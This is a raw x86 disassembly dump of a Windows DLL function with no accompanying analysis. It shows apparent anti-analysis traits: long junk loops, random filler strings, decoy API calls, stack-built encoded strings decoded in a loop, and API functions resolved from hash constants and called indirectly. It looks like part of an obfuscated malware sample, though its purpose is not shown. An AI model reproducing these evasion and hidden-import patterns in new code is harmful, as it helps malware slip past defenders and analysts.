mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x24], 0x741d
jge 0x1000415b
mov edx, str.qecxs_jcidik_yzma_tlkiuy_qythoknp_ulu_jnhxs_qedilnqb_mqtizwj_xmefwijpw
mov ecx, 0x100808b8
call fcn.10008020
jmp 0x1000415b
mov dword [ebp - 4], 0x15
inc dword [ebp - 0x20]
jmp 0x10004099
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x250]
mov dword [eax + ecx*4], 0xfffffff8
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], edi
jl 0x1000416a
mov dword [ebp - 0x44], ebx
jmp 0x1000419a
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2ec]
mov dword [eax + ecx*4], 0x85d5
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 3
jl 0x10004187
lea eax, [ebp - 0x18c]
push eax
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x80]
push eax
push 0x1b
lea eax, [ebp - 0x2b0]
push eax
lea eax, [ebp - 0x19c]
push eax
lea eax, [ebp - 0x250]
push eax
push ebx
lea edx, [ebp - 0x280]
lea ecx, [ebp - 0x7c]
call fcn.10002c17
mov ecx, dword [ebp - 0x250]
add esp, 0x20
mov eax, dword [ebp - 0x18c]
cmp eax, dword [ecx + 4]
jg 0x10004368
push 1
lea ecx, [ebp - 0x384]
call fcn.10005c0e
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0x1c], 0x36e2
cmp dword [ebp - 0x1c], 0x39ac
jle 0x10004286
push ebx
push ebx
push 0x12ae
push 0x1c9
push 0x2500
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov dword [ebp - 0x2c], ebx
mov esi, ebx
mov eax, edi
mov dword [ebp - 0x3c], ebx
cdq
mov edi, ecx
idiv esi
mov ecx, edx
sar edi, cl
mov eax, edi
mov ecx, 0x100808b8
or eax, ebx
cdq
push edx
push eax
call fcn.100059e4
inc ebx
cmp ebx, 0x29f0
jl 0x10004242
mov edi, dword [ebp - 0x2c]
inc esi
mov ecx, dword [ebp - 0x18]
push 0
pop ebx
cmp esi, 0x3db4
jl 0x10004234
inc edi
mov dword [ebp - 0x2c], edi
cmp edi, 0x1c25
jl 0x10004232
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x6569
jl 0x1000422d
mov dword [ebp - 0x3c], 0xc4d7e3c2
mov byte [ebp - 4], 0x20
cmp dword [ebp - 0x1c], 0x35ed
jge 0x100042c7
mov edx, str.iweve_madexm_mkhu_snptwiih_frtusun_ovkqnl_uvlomrk_stwndu_gkqs_sjruxnd
mov ecx, 0x100808b8
call fcn.10008020
jmp 0x100042c7
push 0x175c
push 1
lea eax, [ebp - 0x70]
mov dword [ebp - 4], 0x1f
push eax
lea eax, [ebp - 0x384]
mov dword [ebp - 0x3c], 0xf61ca727
push eax
xor dl, dl
mov ecx, 0x3b41
call fcn.10001e64
add esp, 0x10
mov dword [ebp - 0x70], ebx
jmp 0x1000430c
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x570], 0x2fd17ba7
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 3
jl 0x100042fb
lea eax, [ebp - 0x250]
xor dl, dl
push eax
push 1
lea eax, [ebp - 0x384]
mov cl, 1
push eax
lea eax, [ebp - 0x80]
push eax
push 0xb73
call fcn.10002a2c
add esp, 0x14
lea eax, [ebp - 0x2ec]
xor dl, dl
mov cl, 1
push 0x2f32
push 0x7865
push eax
push 0x1e36
push 1
call fcn.100025f6
add esp, 0x14
lea ecx, [ebp - 0x384]
call fcn.10005c91
jmp 0x100043db
xor ecx, ecx
mov dword [ebp - 0x14], ebx
inc ecx
jmp 0x1000437a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10004370
mov edx, dword [ebp - 0x4c]
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
sub edx, eax
mov eax, dword [ebp - 0x4c]
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0xfffffffb
setne al
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x4c]
sub edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x2b0]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp dword [eax], edx
setle cl
cmp ecx, 0xfffc
sbb eax, eax
inc eax
mov dword [ebp - 0x7c], eax
lea ecx, [ebp - 0x2ec]
call fcn.10005c91
lea ecx, [ebp - 0x250]
call fcn.10005c91
lea ecx, [ebp - 0x2b0]
mov byte [ebp - 4], 0xd
call fcn.10005c91
push 0x43
pop eax
push 2
mov dword [ebp - 0x128], 0x7319a004
mov dword [ebp - 0x124], 0xf210922
mov dword [ebp - 0x120], 0xe14011f
mov dword [ebp - 0x11c], 0x700c7d11
mov dword [ebp - 0x118], 0x69081909
mov dword [ebp - 0x114], 0x38013925
mov dword [ebp - 0x110], 0xc177d07
mov dword [ebp - 0x10c], 0x9050c03
mov dword [ebp - 0x108], 0xd1d080d
mov dword [ebp - 0x104], 0x8150d20
mov dword [ebp - 0x100], 0x150e0924
mov dword [ebp - 0xfc], 0x1236902
mov byte [ebp - 0xf8], bl
mov dword [ebp - 0xf7], 0xb56133e
mov dword [ebp - 0xf3], 0x1c03061e
mov byte [ebp - 0xef], bl
mov dword [ebp - 0xee], 0x6b1e1d18
mov dword [ebp - 0xea], 0x771b720a
mov dword [ebp - 0xe6], 0x110731a
mov dword [ebp - 0xe2], 0x73127016
mov word [ebp - 0xde], 0x30f
mov word [ebp - 0x5f8], ax
pop esi
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x18], esi
cmp esi, 0x4c
jae 0x100045e7
mov dword [ebp - 0x14], 0x7be0
cmp dword [ebp - 0x14], 0x7f75
jle 0x10004564
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0x42b9
mov edi, ebx
mov esi, eax
mov ebx, 0x5f7e
mov eax, esi
mov ecx, 0x100808b8
cdq
push edx
push eax
call fcn.100059e4
add esi, edi
dec ebx
jne 0x1000450d
mov eax, dword [ebp - 0x28]
inc edi
cmp edi, 0x4d0f
jl 0x10004506
dec eax
dec dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
jne 0x10004504
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x4ab2
jl 0x100044fa
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x1a74
push 0x2049
push 0x11ad
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov esi, dword [ebp - 0x18]
movzx edx, byte [ebp + esi - 0x127]
mov eax, esi
sub eax, dword [ebp - 0x3c]
movzx eax, byte [ebp + eax - 0x12a]
movzx ecx, word [ebp + eax*2 - 0x600]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x128]
add ecx, edx
mov byte [ebp - 4], 0x22
cmp dword [ebp - 0x14], 0x7b35
mov word [ebp + eax*2 - 0x600], cx
jge 0x100045d8
mov edx, str.lrejcbbqt_jcnhvg_adcc_rqayyum_qnfm_tjq_sodnwrtr_exacwyqr_tzr
mov ecx, 0x100808b8
call fcn.10008020
jmp 0x100045d8
mov dword [ebp - 4], 0xd
add esi, 2
jmp 0x100044d9
xor eax, eax
lea ecx, [ebp - 0x360]
mov word [ebp - 0x5b4], ax
mov dword [ebp - 0x14], 7
push 4
call fcn.10005c0e
push 3
mov byte [ebp - 4], 0x24
mov dword [ebp - 0x6c], ebx
pop esi
jmp 0x10004621
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x594], 1
inc dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], esi
jl 0x10004610
push ecx
lea eax, [ebp - 0x6c]
push eax
push 0x2cbc
lea eax, [ebp - 0x360]
push eax
push ebx
call fcn.10001aa2
add esp, 0x14
mov dword [ebp - 0x14], ebx
jmp 0x10004664
push ecx
push 0x3099
lea eax, [ebp - 0x360]
push eax
push 0x4041
push 1
call fcn.10001aa2
add esp, 0x14
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x10004645
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0xd
call fcn.10005c91
xor eax, eax
mov dword [ebp - 0x364], 7
mov word [ebp - 0x378], ax
lea ecx, [ebp - 0x378]
lea eax, [ebp - 0x600]
mov dword [ebp - 0x368], ebx
push eax
call fcn.100062b9
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x600]
push 0x13
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x14], ebx
jmp 0x100046d4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x33c], 0x7117
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100046c3
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], ebx
jl 0x1000477a
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x20], ebx
jmp 0x1000476b
push 0x5ba
lea eax, [ebp - 0x290]
mov dword [ebp - 0x290], 0xb363f9e9
push eax
push 0x6c2a
mov dl, 1
push 0x7da1
push ebx
mov cl, dl
call fcn.100025f6
mov eax, dword [ebp - 0x14]
xor edx, edx
add esp, 0x14
mov eax, dword [ebp + eax*4 - 0x33c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x33c]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x33c]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setl dl
cmp edx, 0x8593f9be
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 1
setg cl
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x100046fc
dec dword [ebp - 0x14]
jns 0x100046e9
mov dword [ebp - 0x78], 0x53b26bdd
lea ecx, [ebp - 0x220]
push 2
call fcn.10005c0e
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x264], ebx
mov dword [ebp - 0x14], ebx
jmp 0x100047b0
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x220]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000479d
mov dword [ebp - 0x78], 0xfffffffe
cmp dword [ebp - 0x78], 1
jne 0x10004a4e
mov dword [ebp - 0x60], 0xfffffffb
mov dword [ebp - 0x244], ebx
mov dword [ebp - 0x188], 0xfffffff7
mov dword [ebp - 0x27c], 0x7609fa85
mov dword [ebp - 0x58], 0xa67606e8
mov dword [ebp - 0x230], 0xf05d
mov byte [ebp - 0x62], bl
cmp byte [ebp - 0x62], 0
je 0x10004818
push ecx
push 0x54f1
push ecx
push 1
mov ecx, 0x196b
call fcn.10001d10
add esp, 0x10
mov dword [ebp - 0x60], 1
cmp dword [ebp - 0x60], ebx
jl 0x10004a46
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x220]
imul eax, dword [eax + ecx*4], 0x5b7f
test eax, eax
je 0x100048b6
push 0x6ff3
push 1
mov dword [ebp - 0x294], 0x389a9b8
lea edx, [ebp - 0x64]
push ecx
mov byte [ebp - 0x64], bl
call fcn.100024fd
add esp, 0xc
lea eax, [ebp - 0x78]
lea edx, [ebp - 0x60]
push 0x1408
push 0x6452
push 0x7f44
push 0x433a
push ebx
push ecx
push eax
push 0x1c0d
push ecx
push 0x2062
lea eax, [ebp - 0x294]
push eax
push ecx
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x244]
push eax
push 0x3f88
lea eax, [ebp - 0x220]
push eax
push 0x7c7
lea ecx, [ebp - 0x27c]
jmp 0x100049ea
mov dword [ebp - 0x254], 0xffff
mov dword [ebp - 0x28c], 0xffffffff
mov dword [ebp - 0x2c], 0x5911
cmp dword [ebp - 0x2c], 0x5987
jle 0x1000492d
mov edx, ebx
mov dword [ebp - 0x14], ebx
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov edi, ebx
mov eax, edi
and eax, esi
or eax, ecx
mov ecx, 0x100808b8
or eax, edx
cdq
push edx
push eax
call fcn.100059e4
mov ecx, dword [ebp - 0x18]
inc edi
mov edx, dword [ebp - 0x14]
cmp edi, 0x63a7
jl 0x100048e8
inc esi
cmp esi, 0x2420
jl 0x100048e6
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x165b
jl 0x100048e4
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x5068
jl 0x100048df
push 0x3c80
push 0x4b7c
push 0x7196
mov dl, 1
push 0x7cc8
push 1
mov cl, dl
call fcn.100025f6
add esp, 0x14
mov byte [ebp - 4], 0x27
cmp dword [ebp - 0x2c], 0x58ac
jge 0x1000498c
mov edx, str.jyy_koc_aizs_mtmoa_tks_ugyynh_akncsp_qqnkkf_yshsxy_uyzsnxo_bssib_mbvwhw_cfvzajkvb_bxhmjaoq
mov ecx, 0x100808b8
call fcn.10008020
jmp 0x1000498c
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 0x26
push eax
lea eax, [ebp - 0x220]
mov edx, 0x486f
push eax
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x254]
push eax
push 1
push ecx
push 0x433
lea eax, [ebp - 0x60]
push eax
push ecx
lea eax, [ebp - 0x28c]
push eax
push 0x55c9
push ecx
push 0x6544
push 0x39e5
lea eax, [ebp - 0x78]
mov ecx, 0x1819
push eax
push 0x34e6
lea eax, [ebp - 0x264]
push eax
call fcn.1000268b
add esp, 0x44
mov dword [ebp - 0x58], ebx
jmp 0x10004a38
lea eax, [ebp - 0x220]
mov dword [ebp - 0x288], 0xaa473ecf
push eax
push ecx
push 0x7f3d
lea eax, [ebp - 0x58]
mov ecx, 0x5357
push eax
push 1
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x230]
push eax
lea edx, [ebp - 0x288]
call fcn.1000281b
add esp, 0x1c
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 1
jle 0x100049f7
dec dword [ebp - 0x60]
jmp 0x1000481f
inc dword [ebp - 0x78]
jmp 0x100047bd
lea ecx, [ebp - 0x220]
mov byte [ebp - 4], 0x25
call fcn.10005c91
push 0x74
pop eax
push 0x31
mov byte [ebp - 0x16d], al
mov ecx, ebx
mov byte [ebp - 0x16b], al
pop eax
push 2
mov dword [ebp - 0x178], 0x8046307
mov dword [ebp - 0x174], 0x90a0919
mov word [ebp - 0x170], 0x7d03
mov byte [ebp - 0x16e], 5
mov byte [ebp - 0x16c], 0x11
mov dword [ebp - 0x16a], 0xdc033925
mov dword [ebp - 0x166], 0x4d1abfdc
mov dword [ebp - 0x162], 0x6b011d09
mov word [ebp - 0x15e], 0x7515
mov byte [ebp - 0x15c], bl
mov dword [ebp - 0x15b], 0xb4a1048
mov dword [ebp - 0x157], 0x21012372
mov dword [ebp - 0x153], 0x22010f72
mov dword [ebp - 0x14f], 0x14721c73
mov dword [ebp - 0x14b], 0x127b1f72
mov dword [ebp - 0x147], 0xd05080a
mov dword [ebp - 0x143], 0xe750605
mov word [ebp - 0x13f], 0x136b
mov byte [ebp - 0x13d], bl
mov dword [ebp - 0x13c], 0x721d6b1e
mov dword [ebp - 0x138], 0x102030c
mov dword [ebp - 0x134], 0x7116751b
mov dword [ebp - 0x130], 0xd200624
mov dword [ebp - 0x12c], 0x68187c17
mov word [ebp - 0x642], ax
pop esi
mov dword [ebp - 0x1a8], ecx
cmp esi, 0x10
jne 0x10004b73
push 4
pop ecx
push 0x12
mov dword [ebp - 0x1a8], ecx
pop esi
jmp 0x10004bcb
movzx edx, byte [ebp + esi - 0x177]
mov eax, esi
sub eax, ecx
push 1
movzx eax, byte [ebp + eax - 0x17a]
movzx ecx, word [ebp + eax*2 - 0x650]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x178]
add ecx, edx
lea edx, [ebp - 0x1a8]
push ecx
push ecx
push 0x216b
push 0xde9
mov word [ebp + eax*2 - 0x650], cx
call fcn.100028c7
mov ecx, dword [ebp - 0x1a8]
add esp, 0x14
add esi, 2
cmp esi, 0x50
jb 0x10004b60
sub esp, 0x10
xor eax, eax
mov edx, 0x6ca6
mov word [ebp - 0x604], ax
mov cl, 1
call fcn.10001da8
xor eax, eax
mov dword [ebp - 0x340], 7
add esp, 0x10
mov word [ebp - 0x354], ax
lea eax, [ebp - 0x650]
mov dword [ebp - 0x344], ebx
lea ecx, [ebp - 0x354]
push eax
call fcn.100062b9
push 1
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 0x29
call fcn.10005c0e
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x28], 0x1c22
cmp dword [ebp - 0x28], 0x1d0f
jle 0x10004cac
mov edi, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x2c], 0x6e20
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x5ac]
and eax, esi
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10004c72
mov eax, dword [eax]
push eax
call fcn.1004da8c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x5ac]
call fcn.10006111
inc esi
cmp esi, 0x23b4
jl 0x10004c56
dec edi
dec dword [ebp - 0x2c]
jne 0x10004c54
mov edi, dword [ebp - 0x1c]
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x2d7d
jl 0x10004c4a
push ebx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [ebp - 0x34], 0xe64e
cmp dword [ebp - 0x28], 0x1b9a
jge 0x10004cc7
push str.jasqkj_wdlt_zesd_ayvgvrx_nclbc_tlrcjp_bdjix_tfmlvt_duyakh_ibctv
call fcn.1004da8c
pop ecx
mov eax, 0xe764939e
mov dword [ebp - 4], 0x2a
mov dword [ebp - 0x1fc], eax
lea edx, [ebp - 0x3f0]
mov dword [ebp - 0x1f8], eax
push ecx
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x1f0], eax
lea eax, [ebp - 0x260]
push eax
push 0x4166
push 0x1e2d
push ecx
xor cl, cl
call fcn.10002cea
mov dword [ebp - 0x18], ebx
add esp, 0x14
cmp dword [ebp - 0x18], ebx
jl 0x10004f0b
mov dword [ebp - 0x24], 0x4f402e31
lea ecx, [ebp - 0x2f8]
mov dword [ebp - 0x1c], 0x67a4bedc
push 4
call fcn.10005c0e
push ebx
push ecx
lea eax, [ebp - 0x2f8]
mov byte [ebp - 4], 0x2d
push 0x5b13
mov dword [ebp - 0x28], 0xfffffffd
lea edx, [ebp - 0x1b4]
push eax
call fcn.1000233f
mov dword [ebp - 0x24], ebx
add esp, 0x10
cmp dword [ebp - 0x24], ebx
jg 0x10004ecf
mov edi, dword [ebp - 0x2f8]
mov dword [ebp - 0x3c], 0xfffffff7
mov dword [ebp - 0x3c], 0xc007c7be
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x3c], 0x7b09f595
mov dword [ebp - 0x2c], 0x97bc8b42
mov dword [ebp - 0x14], ebx
jmp 0x10004da7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x410], 0xfc257a10
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10004d96
dec dword [ebp - 0x1fc]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x260]
cmp dword [ecx + eax*4], ebx
je 0x10004e17
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov esi, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor edx, edx
neg eax
cmp eax, 0x4bb91e25
mov eax, dword [ebp - 0x260]
setl dl
xor ecx, ecx
cmp dword [eax + esi*4], edx
setle cl
mov dword [eax], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x260]
cmp dword [ecx], ebx
jne 0x10004e1e
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setl cl
xor edx, edx
cmp ecx, eax
sete dl
sub edx, dword [ebp - 0x1fc]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp ecx, eax
setne dl
mov dword [edi + 0xc], edx
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
sub eax, 0x70035351
je 0x10004e88
mov dword [ebp - 0x2c], 1
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
jmp 0x10004ec3
push 0x5881
push 1
push 0x4404
push 0x3b7a
push 0xc09
xor dl, dl
mov dword [ebp - 0x94], 0xeee40b14
xor cl, cl
call fcn.10002a2c
add esp, 0xc
lea ecx, [ebp - 0x94]
xor dl, dl
call fcn.10002381
pop ecx
pop ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x10004d6e
push 0x127b
push 1
push 0x26f9
lea eax, [ebp - 0x61]
mov byte [ebp - 0x61], bl
mov dl, 1
push 0x129f
push eax
mov cl, dl
call fcn.10002a2c
add esp, 0x14
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x2f8]
call fcn.10005c91
dec dword [ebp - 0x18]
jns 0x10004d1a
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 0x29
call fcn.10005c91
push 0x13
pop ecx
xor eax, eax
lea edi, [ebp - 0x650]
rep stosd dword es:[edi], eax
cmp dword [ebp - 0x364], 8
lea ecx, [ebp - 0x478]
push ecx
mov esi, 0xa3ac
stosw word es:[edi], ax
lea eax, [ebp - 0x378]
cmovae eax, dword [ebp - 0x378]
push eax
push 0x110bc
push esi
call fcn.10030f9c
pop ecx
pop ecx
call eax
test eax, eax
jne 0x100056ab
cmp dword [ebp - 0x340], 8
lea ecx, [ebp - 0x488]
push ecx
lea eax, [ebp - 0x354]
cmovae eax, dword [ebp - 0x354]
push eax
push 0x110bc
push esi
call fcn.10030f9c
pop ecx
pop ecx
call eax
test eax, eax
jne 0x100056ab
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x478]
push eax
push 3
push ebx
lea eax, [ebp - 0x488]
push eax
push 0x110bc
push 0xd4c0
call fcn.10030f9c
pop ecx
pop ecx
call eax
test eax, eax
js 0x100056ab
cmp dword [ebp - 0x48], 0
je 0x100056ab
push 0x957
push 1
lea eax, [ebp - 0x460]
push eax
push 0x6ffb
call fcn.100020e8
add esp, 0x10
mov word [ebp - 0x90], 0xb902
xor eax, eax
mov byte [ebp - 0x8e], bl
mov word [ebp - 0x458], ax
mov ecx, ebx
mov dword [ebp - 0x8d], 0x2220133
push 0x74
pop eax
push 2
mov word [ebp - 0x89], 0x8277
mov word [ebp - 0x1ac], ax
pop esi
mov dword [ebp - 0x1a4], ecx
cmp esi, 6
jne 0x1000503c
push 3
pop ecx
push 7
mov dword [ebp - 0x1a4], ecx
pop esi
jmp 0x10005099
movzx edx, byte [ebp + esi - 0x8f]
mov eax, esi
sub eax, ecx
push 0x45b0
movzx eax, byte [ebp + eax - 0x92]
movzx ecx, word [ebp + eax*2 - 0x1b0]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x90]
add ecx, edx
push ecx
mov word [ebp + eax*2 - 0x1b0], cx
lea eax, [ebp - 0x1a4]
push eax
push 0x282c
push 1
mov ecx, 0x75b2
call fcn.10002b4d
mov ecx, dword [ebp - 0x1a4]
add esp, 0x14
add esi, 2
cmp esi, 9
jb 0x10005029
xor eax, eax
mov word [ebp - 0x1aa], ax
mov dword [ebp - 0x3c], 0x2408
cmp dword [ebp - 0x3c], 0x860
jge 0x100051d0
mov dword [ebp - 0x3f4], 0xf
mov dword [ebp - 0x3f8], ebx
mov byte [ebp - 0x408], bl
mov dword [ebp - 0x3d8], 0xf
mov dword [ebp - 0x3dc], ebx
mov byte [ebp - 0x3ec], bl
mov byte [ebp - 4], 0x2f
mov esi, 0x10080970
mov eax, dword [0x10080970]
push 0xa
mov ecx, dword [eax + 4]
add ecx, esi
call fcn.10006e91
movzx eax, al
lea edx, [ebp - 0x408]
push eax
mov ecx, esi
call fcn.10008810
mov eax, dword [0x10080970]
pop ecx
push 0xa
mov ecx, dword [eax + 4]
add ecx, esi
call fcn.10006e91
movzx eax, al
lea edx, [ebp - 0x3ec]
push eax
mov ecx, esi
call fcn.10008810
sub esp, 0x14
lea eax, [ebp - 0x3ec]
mov ecx, esp
push eax
call fcn.100057fe
lea ecx, [ebp - 0x4e0]
call fcn.10002f4b
mov esi, eax
lea eax, [ebp - 0x408]
mov byte [ebp - 4], 0x30
mov ecx, esp
push eax
call fcn.100057fe
lea ecx, [ebp - 0x540]
call fcn.10002f4b
add esp, 0x18
mov ecx, eax
push esi
call fcn.100058cc
test eax, eax
mov edx, 0x1006d418
mov ecx, 0x1006d414
cmovne ecx, edx
push ecx
call fcn.1004dca6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x540]
call fcn.10006111
push ebx
push 1
lea ecx, [ebp - 0x4e0]
call fcn.10006111
push ebx
push 1
lea ecx, [ebp - 0x3ec]
call fcn.10006111
push ebx
push 1
lea ecx, [ebp - 0x408]
mov byte [ebp - 4], 0x29
call fcn.10006111
xor eax, eax
mov dword [ebp - 0x200], 7
mov word [ebp - 0x214], ax
lea ecx, [ebp - 0x214]
lea eax, [ebp - 0x1b0]
mov dword [ebp - 0x204], ebx
push eax
call fcn.100062b9
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x214]
cmp dword [ebp - 0x200], 8
mov eax, dword [ebp - 0x204]
cmovae ecx, dword [ebp - 0x214]
push dword [ebp - 0x1b4]
mov dword [ebp - 0x1b0], ebx
mov dword [ebp - 0x1ac], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x270], ebx
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x26c], ebx
cmovae ecx, dword [ebp - 0x214]
push eax
push ecx
lea ecx, [ebp - 0x270]
mov dword [ebp - 0x268], ebx
call fcn.10008cd1
push 0x395f
push 0x3f60
push 0x2590
lea eax, [ebp - 0x270]
mov byte [ebp - 4], 0x32
push eax
push 0x39f2
push 0x599b
push 0x6de
push 1
mov edx, 0x6d27
mov ecx, 0x640c
call fcn.10002c17
mov edx, dword [ebp - 0x74]
add esp, 0x20
cmp dword [edx + 0x14], 8
jb 0x100052a4
mov ecx, dword [edx]
jmp 0x100052a6
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x100052b4
mov edx, dword [edx]
push dword [ebp - 0x1b4]
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0x22c], ebx
push eax
push edx
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x224], ebx
call fcn.10008cd1
push 1
push 0xef1
push ecx
push ecx
push 0x1eac
lea edx, [ebp - 0x22c]
mov byte [ebp - 4], 0x33
call fcn.10002cc1
mov dword [ebp - 0x14], 0x124f
add esp, 0x14
cmp dword [ebp - 0x14], 0x129c
jle 0x10005385
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x68], 0x2756
mov esi, dword [ebp - 0x1c]
mov ecx, ebx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x2c], 0x34ba
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x564]
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10005343
mov eax, dword [eax]
push eax
call fcn.1004da8c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x564]
call fcn.10006111
mov ecx, dword [ebp - 0x34]
add ecx, esi
dec dword [ebp - 0x2c]
mov dword [ebp - 0x34], ecx
jne 0x10005327
mov esi, dword [ebp - 0x28]
add dword [ebp - 0x1c], esi
dec dword [ebp - 0x68]
jne 0x10005318
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x2268
jl 0x1000530e
inc edi
cmp edi, 0x505
jl 0x1000530b
cmp dword [ebp - 0x200], 8
lea edx, [ebp - 0x214]
lea esi, [ebp - 0x420]
mov eax, dword [ebp - 0x48]
cmovae edx, dword [ebp - 0x214]
sub esp, 0x10
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
